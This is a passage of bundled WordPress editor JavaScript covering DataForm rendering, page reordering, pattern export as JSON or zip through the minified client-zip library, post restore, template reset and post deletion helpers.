    children: normalizedFormFields.map(formField => {
      const FieldLayout = getFormFieldLayout(formField.layout)?.component;
      if (!FieldLayout) {
        return null;
      }
      const fieldDefinition = !isCombinedField(formField) ? getFieldDefinition(formField) : undefined;
      if (fieldDefinition && fieldDefinition.isVisible && !fieldDefinition.isVisible(data)) {
        return null;
      }
      if (children) {
        return children(FieldLayout, formField);
      }
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldLayout, {
        data: data,
        field: formField,
        onChange: onChange
      }, formField.id);
    })
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataform/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





function DataForm({
  data,
  form,
  fields,
  onChange
}) {
  const normalizedFields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFields(fields), [fields]);
  if (!form.fields) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormProvider, {
    fields: normalizedFields,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
      data: data,
      form: form,
      onChange: onChange
    })
  });
}

;// ./node_modules/@wordpress/fields/build-module/fields/order/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const orderField = {
  id: 'menu_order',
  type: 'integer',
  label: (0,external_wp_i18n_namespaceObject.__)('Order'),
  description: (0,external_wp_i18n_namespaceObject.__)('Determines the order of pages.')
};

/**
 * Order field for BasePost.
 */
/* harmony default export */ const order = (orderField);

;// ./node_modules/@wordpress/fields/build-module/actions/reorder-page.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */



const reorder_page_fields = [order];
const formOrderAction = {
  fields: ['menu_order']
};
function ReorderModal({
  items,
  closeModal,
  onActionPerformed
}) {
  const [item, setItem] = (0,external_wp_element_namespaceObject.useState)(items[0]);
  const orderInput = item.menu_order;
  const {
    editEntityRecord,
    saveEditedEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  async function onOrder(event) {
    event.preventDefault();
    if (!isItemValid(item, reorder_page_fields, formOrderAction)) {
      return;
    }
    try {
      await editEntityRecord('postType', item.type, item.id, {
        menu_order: orderInput
      });
      closeModal?.();
      // Persist edited entity.
      await saveEditedEntityRecord('postType', item.type, item.id, {
        throwOnError: true
      });
      createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Order updated.'), {
        type: 'snackbar'
      });
      onActionPerformed?.(items);
    } catch (error) {
      const typedError = error;
      const errorMessage = typedError.message && typedError.code !== 'unknown_error' ? typedError.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while updating the order');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    }
  }
  const isSaveDisabled = !isItemValid(item, reorder_page_fields, formOrderAction);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: onOrder,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        children: (0,external_wp_i18n_namespaceObject.__)('Determines the order of pages. Pages with the same order value are sorted alphabetically. Negative order values are supported.')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataForm, {
        data: item,
        fields: reorder_page_fields,
        form: formOrderAction,
        onChange: changes => setItem({
          ...item,
          ...changes
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: () => {
            closeModal?.();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          type: "submit",
          accessibleWhenDisabled: true,
          disabled: isSaveDisabled,
          children: (0,external_wp_i18n_namespaceObject.__)('Save')
        })]
      })]
    })
  });
}
const reorderPage = {
  id: 'order-pages',
  label: (0,external_wp_i18n_namespaceObject.__)('Order'),
  isEligible({
    status
  }) {
    return status !== 'trash';
  },
  RenderModal: ReorderModal
};

/**
 * Reorder action for BasePost.
 */
/* harmony default export */ const reorder_page = (reorderPage);

;// ./node_modules/client-zip/index.js
"stream"in Blob.prototype||Object.defineProperty(Blob.prototype,"stream",{value(){return new Response(this).body}}),"setBigUint64"in DataView.prototype||Object.defineProperty(DataView.prototype,"setBigUint64",{value(e,n,t){const i=Number(0xffffffffn&n),r=Number(n>>32n);this.setUint32(e+(t?0:4),i,t),this.setUint32(e+(t?4:0),r,t)}});var e=e=>new DataView(new ArrayBuffer(e)),n=e=>new Uint8Array(e.buffer||e),t=e=>(new TextEncoder).encode(String(e)),i=e=>Math.min(4294967295,Number(e)),r=e=>Math.min(65535,Number(e));function o(e,i,r){void 0===i||i instanceof Date||(i=new Date(i));const o=void 0!==e;if(r||(r=o?436:509),e instanceof File)return{isFile:o,t:i||new Date(e.lastModified),bytes:e.stream(),mode:r};if(e instanceof Response)return{isFile:o,t:i||new Date(e.headers.get("Last-Modified")||Date.now()),bytes:e.body,mode:r};if(void 0===i)i=new Date;else if(isNaN(i))throw new Error("Invalid modification date.");if(!o)return{isFile:o,t:i,mode:r};if("string"==typeof e)return{isFile:o,t:i,bytes:t(e),mode:r};if(e instanceof Blob)return{isFile:o,t:i,bytes:e.stream(),mode:r};if(e instanceof Uint8Array||e instanceof ReadableStream)return{isFile:o,t:i,bytes:e,mode:r};if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return{isFile:o,t:i,bytes:n(e),mode:r};if(Symbol.asyncIterator in e)return{isFile:o,t:i,bytes:f(e[Symbol.asyncIterator]()),mode:r};throw new TypeError("Unsupported input format.")}function f(e,n=e){return new ReadableStream({async pull(n){let t=0;for(;n.desiredSize>t;){const i=await e.next();if(!i.value){n.close();break}{const e=a(i.value);n.enqueue(e),t+=e.byteLength}}},cancel(e){n.throw?.(e)}})}function a(e){return"string"==typeof e?t(e):e instanceof Uint8Array?e:n(e)}function s(e,i,r){let[o,f]=function(e){return e?e instanceof Uint8Array?[e,1]:ArrayBuffer.isView(e)||e instanceof ArrayBuffer?[n(e),1]:[t(e),0]:[void 0,0]}(i);if(e instanceof File)return{i:d(o||t(e.name)),o:BigInt(e.size),u:f};if(e instanceof Response){const n=e.headers.get("content-disposition"),i=n&&n.match(/;\s*filename\*?\s*=\s*(?:UTF-\d+''|)["']?([^;"'\r\n]*)["']?(?:;|$)/i),a=i&&i[1]||e.url&&new URL(e.url).pathname.split("/").findLast(Boolean),s=a&&decodeURIComponent(a),u=r||+e.headers.get("content-length");return{i:d(o||t(s)),o:BigInt(u),u:f}}return o=d(o,void 0!==e||void 0!==r),"string"==typeof e?{i:o,o:BigInt(t(e).length),u:f}:e instanceof Blob?{i:o,o:BigInt(e.size),u:f}:e instanceof ArrayBuffer||ArrayBuffer.isView(e)?{i:o,o:BigInt(e.byteLength),u:f}:{i:o,o:u(e,r),u:f}}function u(e,n){return n>-1?BigInt(n):e?void 0:0n}function d(e,n=1){if(!e||e.every((c=>47===c)))throw new Error("The file must have a name.");if(n)for(;47===e[e.length-1];)e=e.subarray(0,-1);else 47!==e[e.length-1]&&(e=new Uint8Array([...e,47]));return e}var l=new Uint32Array(256);for(let e=0;e<256;++e){let n=e;for(let e=0;e<8;++e)n=n>>>1^(1&n&&3988292384);l[e]=n}function y(e,n=0){n=~n;for(var t=0,i=e.length;t<i;t++)n=n>>>8^l[255&n^e[t]];return~n>>>0}function w(e,n,t=0){const i=e.getSeconds()>>1|e.getMinutes()<<5|e.getHours()<<11,r=e.getDate()|e.getMonth()+1<<5|e.getFullYear()-1980<<9;n.setUint16(t,i,1),n.setUint16(t+2,r,1)}function B({i:e,u:n},t){return 8*(!n||(t??function(e){try{b.decode(e)}catch{return 0}return 1}(e)))}var b=new TextDecoder("utf8",{fatal:1});function p(t,i=0){const r=e(30);return r.setUint32(0,1347093252),r.setUint32(4,754976768|i),w(t.t,r,10),r.setUint16(26,t.i.length,1),n(r)}async function*g(e){let{bytes:n}=e;if("then"in n&&(n=await n),n instanceof Uint8Array)yield n,e.l=y(n,0),e.o=BigInt(n.length);else{e.o=0n;const t=n.getReader();for(;;){const{value:n,done:i}=await t.read();if(i)break;e.l=y(n,e.l),e.o+=BigInt(n.length),yield n}}}function I(t,r){const o=e(16+(r?8:0));return o.setUint32(0,1347094280),o.setUint32(4,t.isFile?t.l:0,1),r?(o.setBigUint64(8,t.o,1),o.setBigUint64(16,t.o,1)):(o.setUint32(8,i(t.o),1),o.setUint32(12,i(t.o),1)),n(o)}function v(t,r,o=0,f=0){const a=e(46);return a.setUint32(0,1347092738),a.setUint32(4,755182848),a.setUint16(8,2048|o),w(t.t,a,12),a.setUint32(16,t.isFile?t.l:0,1),a.setUint32(20,i(t.o),1),a.setUint32(24,i(t.o),1),a.setUint16(28,t.i.length,1),a.setUint16(30,f,1),a.setUint16(40,t.mode|(t.isFile?32768:16384),1),a.setUint32(42,i(r),1),n(a)}function h(t,i,r){const o=e(r);return o.setUint16(0,1,1),o.setUint16(2,r-4,1),16&r&&(o.setBigUint64(4,t.o,1),o.setBigUint64(12,t.o,1)),o.setBigUint64(r-8,i,1),n(o)}function D(e){return e instanceof File||e instanceof Response?[[e],[e]]:[[e.input,e.name,e.size],[e.input,e.lastModified,e.mode]]}var S=e=>function(e){let n=BigInt(22),t=0n,i=0;for(const r of e){if(!r.i)throw new Error("Every file must have a non-empty name.");if(void 0===r.o)throw new Error(`Missing size for file "${(new TextDecoder).decode(r.i)}".`);const e=r.o>=0xffffffffn,o=t>=0xffffffffn;t+=BigInt(46+r.i.length+(e&&8))+r.o,n+=BigInt(r.i.length+46+(12*o|28*e)),i||(i=e)}return(i||t>=0xffffffffn)&&(n+=BigInt(76)),n+t}(function*(e){for(const n of e)yield s(...D(n)[0])}(e));function A(e,n={}){const t={"Content-Type":"application/zip","Content-Disposition":"attachment"};return("bigint"==typeof n.length||Number.isInteger(n.length))&&n.length>0&&(t["Content-Length"]=String(n.length)),n.metadata&&(t["Content-Length"]=String(S(n.metadata))),new Response(N(e,n),{headers:t})}function N(t,a={}){const u=function(e){const n=e[Symbol.iterator in e?Symbol.iterator:Symbol.asyncIterator]();return{async next(){const e=await n.next();if(e.done)return e;const[t,i]=D(e.value);return{done:0,value:Object.assign(o(...i),s(...t))}},throw:n.throw?.bind(n),[Symbol.asyncIterator](){return this}}}(t);return f(async function*(t,o){const f=[];let a=0n,s=0n,u=0;for await(const e of t){const n=B(e,o.buffersAreUTF8);yield p(e,n),yield new Uint8Array(e.i),e.isFile&&(yield*g(e));const t=e.o>=0xffffffffn,i=12*(a>=0xffffffffn)|28*t;yield I(e,t),f.push(v(e,a,n,i)),f.push(e.i),i&&f.push(h(e,a,i)),t&&(a+=8n),s++,a+=BigInt(46+e.i.length)+e.o,u||(u=t)}let d=0n;for(const e of f)yield e,d+=BigInt(e.length);if(u||a>=0xffffffffn){const t=e(76);t.setUint32(0,1347094022),t.setBigUint64(4,BigInt(44),1),t.setUint32(12,755182848),t.setBigUint64(24,s,1),t.setBigUint64(32,s,1),t.setBigUint64(40,d,1),t.setBigUint64(48,a,1),t.setUint32(56,1347094023),t.setBigUint64(64,a+d,1),t.setUint32(72,1,1),yield n(t)}const l=e(22);l.setUint32(0,1347093766),l.setUint16(8,r(s),1),l.setUint16(10,r(s),1),l.setUint32(12,i(d),1),l.setUint32(16,i(a),1),yield n(l)}(u,a),u)}
;// external ["wp","blob"]
const external_wp_blob_namespaceObject = window["wp"]["blob"];
;// ./node_modules/@wordpress/icons/build-module/library/download.js
/**
 * WordPress dependencies
 */


const download = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z"
  })
});
/* harmony default export */ const library_download = (download);

;// ./node_modules/@wordpress/fields/build-module/actions/export-pattern.js
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


function getJsonFromItem(item) {
  return JSON.stringify({
    __file: item.type,
    title: getItemTitle(item),
    content: typeof item.content === 'string' ? item.content : item.content?.raw,
    syncStatus: item.wp_pattern_sync_status
  }, null, 2);
}
const exportPattern = {
  id: 'export-pattern',
  label: (0,external_wp_i18n_namespaceObject.__)('Export as JSON'),
  icon: library_download,
  supportsBulk: true,
  isEligible: item => item.type === 'wp_block',
  callback: async items => {
    if (items.length === 1) {
      return (0,external_wp_blob_namespaceObject.downloadBlob)(`${paramCase(getItemTitle(items[0]) || items[0].slug)}.json`, getJsonFromItem(items[0]), 'application/json');
    }
    const nameCount = {};
    const filesToZip = items.map(item => {
      const name = paramCase(getItemTitle(item) || item.slug);
      nameCount[name] = (nameCount[name] || 0) + 1;
      return {
        name: `${name + (nameCount[name] > 1 ? '-' + (nameCount[name] - 1) : '')}.json`,
        lastModified: new Date(),
        input: getJsonFromItem(item)
      };
    });
    return (0,external_wp_blob_namespaceObject.downloadBlob)((0,external_wp_i18n_namespaceObject.__)('patterns-export') + '.zip', await A(filesToZip).blob(), 'application/zip');
  }
};

/**
 * Export action as JSON for Pattern.
 */
/* harmony default export */ const export_pattern = (exportPattern);

;// ./node_modules/@wordpress/icons/build-module/library/backup.js
/**
 * WordPress dependencies
 */


const backup = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"
  })
});
/* harmony default export */ const library_backup = (backup);

;// ./node_modules/@wordpress/fields/build-module/actions/restore-post.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

const restorePost = {
  id: 'restore',
  label: (0,external_wp_i18n_namespaceObject.__)('Restore'),
  isPrimary: true,
  icon: library_backup,
  supportsBulk: true,
  isEligible(item) {
    return !isTemplateOrTemplatePart(item) && item.type !== 'wp_block' && item.status === 'trash' && item.permissions?.update;
  },
  async callback(posts, {
    registry,
    onActionPerformed
  }) {
    const {
      createSuccessNotice,
      createErrorNotice
    } = registry.dispatch(external_wp_notices_namespaceObject.store);
    const {
      editEntityRecord,
      saveEditedEntityRecord
    } = registry.dispatch(external_wp_coreData_namespaceObject.store);
    await Promise.allSettled(posts.map(post => {
      return editEntityRecord('postType', post.type, post.id, {
        status: 'draft'
      });
    }));
    const promiseResult = await Promise.allSettled(posts.map(post => {
      return saveEditedEntityRecord('postType', post.type, post.id, {
        throwOnError: true
      });
    }));
    if (promiseResult.every(({
      status
    }) => status === 'fulfilled')) {
      let successMessage;
      if (posts.length === 1) {
        successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The number of posts. */
        (0,external_wp_i18n_namespaceObject.__)('"%s" has been restored.'), getItemTitle(posts[0]));
      } else if (posts[0].type === 'page') {
        successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The number of posts. */
        (0,external_wp_i18n_namespaceObject.__)('%d pages have been restored.'), posts.length);
      } else {
        successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The number of posts. */
        (0,external_wp_i18n_namespaceObject.__)('%d posts have been restored.'), posts.length);
      }
      createSuccessNotice(successMessage, {
        type: 'snackbar',
        id: 'restore-post-action'
      });
      if (onActionPerformed) {
        onActionPerformed(posts);
      }
    } else {
      // If there was at lease one failure.
      let errorMessage;
      // If we were trying to move a single post to the trash.
      if (promiseResult.length === 1) {
        const typedError = promiseResult[0];
        if (typedError.reason?.message) {
          errorMessage = typedError.reason.message;
        } else {
          errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while restoring the post.');
        }
        // If we were trying to move multiple posts to the trash
      } else {
        const errorMessages = new Set();
        const failedPromises = promiseResult.filter(({
          status
        }) => status === 'rejected');
        for (const failedPromise of failedPromises) {
          const typedError = failedPromise;
          if (typedError.reason?.message) {
            errorMessages.add(typedError.reason.message);
          }
        }
        if (errorMessages.size === 0) {
          errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while restoring the posts.');
        } else if (errorMessages.size === 1) {
          errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
          (0,external_wp_i18n_namespaceObject.__)('An error occurred while restoring the posts: %s'), [...errorMessages][0]);
        } else {
          errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
          (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while restoring the posts: %s'), [...errorMessages].join(','));
        }
      }
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    }
  }
};

/**
 * Restore action for PostWithPermissions.
 */
/* harmony default export */ const restore_post = (restorePost);

;// ./node_modules/@wordpress/fields/build-module/actions/reset-post.js
/**
 * WordPress dependencies
 */






// @ts-ignore





/**
 * Internal dependencies
 */


const reset_post_isTemplateRevertable = templateOrTemplatePart => {
  if (!templateOrTemplatePart) {
    return false;
  }
  return templateOrTemplatePart.source === 'custom' && (Boolean(templateOrTemplatePart?.plugin) || templateOrTemplatePart?.has_theme_file);
};

/**
 *  Copied - pasted from https://github.com/WordPress/gutenberg/blob/bf1462ad37d4637ebbf63270b9c244b23c69e2a8/packages/editor/src/store/private-actions.js#L233-L365
 *
 * @param {Object}  template            The template to revert.
 * @param {Object}  [options]
 * @param {boolean} [options.allowUndo] Whether to allow the user to undo
 *                                      reverting the template. Default true.
 */
const revertTemplate = async (template, {
  allowUndo = true
} = {}) => {
  const noticeId = 'edit-site-template-reverted';
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).removeNotice(noticeId);
  if (!reset_post_isTemplateRevertable(template)) {
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('This template is not revertable.'), {
      type: 'snackbar'
    });
    return;
  }
  try {
    const templateEntityConfig = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getEntityConfig('postType', template.type);
    if (!templateEntityConfig) {
      (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('The editor has encountered an unexpected error. Please reload.'), {
        type: 'snackbar'
      });
      return;
    }
    const fileTemplatePath = (0,external_wp_url_namespaceObject.addQueryArgs)(`${templateEntityConfig.baseURL}/${template.id}`, {
      context: 'edit',
      source: template.origin
    });
    const fileTemplate = await external_wp_apiFetch_default()({
      path: fileTemplatePath
    });
    if (!fileTemplate) {
      (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('The editor has encountered an unexpected error. Please reload.'), {
        type: 'snackbar'
      });
      return;
    }
    const serializeBlocks = ({
      blocks: blocksForSerialization = []
    }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization);
    const edited = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', template.type, template.id);

    // We are fixing up the undo level here to make sure we can undo
    // the revert in the header toolbar correctly.
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', template.type, template.id, {
      content: serializeBlocks,
      // Required to make the `undo` behave correctly.
      blocks: edited.blocks,
      // Required to revert the blocks in the editor.
      source: 'custom' // required to avoid turning the editor into a dirty state
    }, {
      undoIgnore: true // Required to merge this edit with the last undo level.
    });
    const blocks = (0,external_wp_blocks_namespaceObject.parse)(fileTemplate?.content?.raw);
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', template.type, fileTemplate.id, {
      content: serializeBlocks,
      blocks,
      source: 'theme'
    });
    if (allowUndo) {
      const undoRevert = () => {
        (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', template.type, edited.id, {
          content: serializeBlocks,
          blocks: edited.blocks,
          source: 'custom'
        });
      };
      (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Template reset.'), {
        type: 'snackbar',
        id: noticeId,
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
          onClick: undoRevert
        }]
      });
    }
  } catch (error) {
    const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('Template revert failed. Please reload.');
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, {
      type: 'snackbar'
    });
  }
};
const resetPostAction = {
  id: 'reset-post',
  label: (0,external_wp_i18n_namespaceObject.__)('Reset'),
  isEligible: item => {
    return isTemplateOrTemplatePart(item) && item?.source === 'custom' && (Boolean(item.type === 'wp_template' && item?.plugin) || item?.has_theme_file);
  },
  icon: library_backup,
  supportsBulk: true,
  hideModalHeader: true,
  RenderModal: ({
    items,
    closeModal,
    onActionPerformed
  }) => {
    const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
    const {
      saveEditedEntityRecord
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
    const {
      createSuccessNotice,
      createErrorNotice
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
    const onConfirm = async () => {
      try {
        for (const template of items) {
          await revertTemplate(template, {
            allowUndo: false
          });
          await saveEditedEntityRecord('postType', template.type, template.id);
        }
        createSuccessNotice(items.length > 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The number of items. */
        (0,external_wp_i18n_namespaceObject.__)('%s items reset.'), items.length) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The template/part's name. */
        (0,external_wp_i18n_namespaceObject.__)('"%s" reset.'), getItemTitle(items[0])), {
          type: 'snackbar',
          id: 'revert-template-action'
        });
      } catch (error) {
        let fallbackErrorMessage;
        if (items[0].type === 'wp_template') {
          fallbackErrorMessage = items.length === 1 ? (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the template.') : (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the templates.');
        } else {
          fallbackErrorMessage = items.length === 1 ? (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the template part.') : (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the template parts.');
        }
        const typedError = error;
        const errorMessage = typedError.message && typedError.code !== 'unknown_error' ? typedError.message : fallbackErrorMessage;
        createErrorNotice(errorMessage, {
          type: 'snackbar'
        });
      }
    };
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: (0,external_wp_i18n_namespaceObject.__)('Reset to default and clear all customizations?')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: closeModal,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          onClick: async () => {
            setIsBusy(true);
            await onConfirm();
            onActionPerformed?.(items);
            setIsBusy(false);
            closeModal?.();
          },
          isBusy: isBusy,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Reset')
        })]
      })]
    });
  }
};

/**
 * Reset action for Template and TemplatePart.
 */
/* harmony default export */ const reset_post = (resetPostAction);

;// ./node_modules/@wordpress/icons/build-module/library/trash.js
/**
 * WordPress dependencies
 */


const trash = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"
  })
});
/* harmony default export */ const library_trash = (trash);

;// ./node_modules/@wordpress/fields/build-module/mutation/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

function getErrorMessagesFromPromises(allSettledResults) {
  const errorMessages = new Set();
  // If there was at lease one failure.
  if (allSettledResults.length === 1) {
    const typedError = allSettledResults[0];
    if (typedError.reason?.message) {
      errorMessages.add(typedError.reason.message);
    }
  } else {
    const failedPromises = allSettledResults.filter(({
      status
    }) => status === 'rejected');
    for (const failedPromise of failedPromises) {
      const typedError = failedPromise;
      if (typedError.reason?.message) {
        errorMessages.add(typedError.reason.message);
      }
    }
  }
  return errorMessages;
}
const deletePostWithNotices = async (posts, notice, callbacks) => {
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store);
  const {
    deleteEntityRecord
  } = (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store);
  const allSettledResults = await Promise.allSettled(posts.map(post => {
    return deleteEntityRecord('postType', post.type, post.id, {
      force: true
    }, {
      throwOnError: true
    });
  }));
  // If all the promises were fulfilled with success.
  if (allSettledResults.every(({
    status
  }) => status === 'fulfilled')) {
    var _notice$success$type;
    let successMessage;
    if (allSettledResults.length === 1) {
      successMessage = notice.success.messages.getMessage(posts[0]);
    } else {
      successMessage = notice.success.messages.getBatchMessage(posts);
    }
    createSuccessNotice(successMessage, {
      type: (_notice$success$type = notice.success.type) !== null && _notice$success$type !== void 0 ? _notice$success$type : 'snackbar',
      id: notice.success.id
    });
    callbacks.onActionPerformed?.(posts);
  } else {
    var _notice$error$type;
    const errorMessages = getErrorMessagesFromPromises(allSettledResults);
    let errorMessage = '';
    if (allSettledResults.length === 1) {
      errorMessage = notice.error.messages.getMessage(errorMessages);
    } else {
      errorMessage = notice.error.messages.getBatchMessage(errorMessages);
    }
    createErrorNotice(errorMessage, {
      type: (_notice$error$type = notice.error.type) !== null && _notice$error$type !== void 0 ? _notice$error$type : 'snackbar',
      id: notice.error.id
    });
    callbacks.onActionError?.();
  }
};
const editPostWithNotices = async (postsWithUpdates, notice, callbacks) => {
  const {
    createSuccessNotice,
    createErrorNotice
  } = dispatch(noticesStore);
  const {
    editEntityRecord,
    saveEditedEntityRecord
  } = dispatch(coreStore);
  await Promise.allSettled(postsWithUpdates.map(post => {
    return editEntityRecord('postType', post.originalPost.type, post.originalPost.id, {
      ...post.changes
    });
  }));
  const allSettledResults = await Promise.allSettled(postsWithUpdates.map(post => {
    return saveEditedEntityRecord('postType', post.originalPost.type, post.originalPost.id, {
      throwOnError: true
    });
  }));
  // If all the promises were fulfilled with success.
  if (allSettledResults.every(({
    status
  }) => status === 'fulfilled')) {
    var _notice$success$type2;
    let successMessage;
    if (allSettledResults.length === 1) {
      successMessage = notice.success.messages.getMessage(postsWithUpdates[0].originalPost);
    } else {
      successMessage = notice.success.messages.getBatchMessage(postsWithUpdates.map(post => post.originalPost));
    }
    createSuccessNotice(successMessage, {
      type: (_notice$success$type2 = notice.success.type) !== null && _notice$success$type2 !== void 0 ? _notice$success$type2 : 'snackbar',
      id: notice.success.id
    });
    callbacks.onActionPerformed?.(postsWithUpdates.map(post => post.originalPost));
  } else {
    var _notice$error$type2;
    const errorMessages = getErrorMessagesFromPromises(allSettledResults);
    let errorMessage = '';
    if (allSettledResults.length === 1) {
      errorMessage = notice.error.messages.getMessage(errorMessages);
    } else {
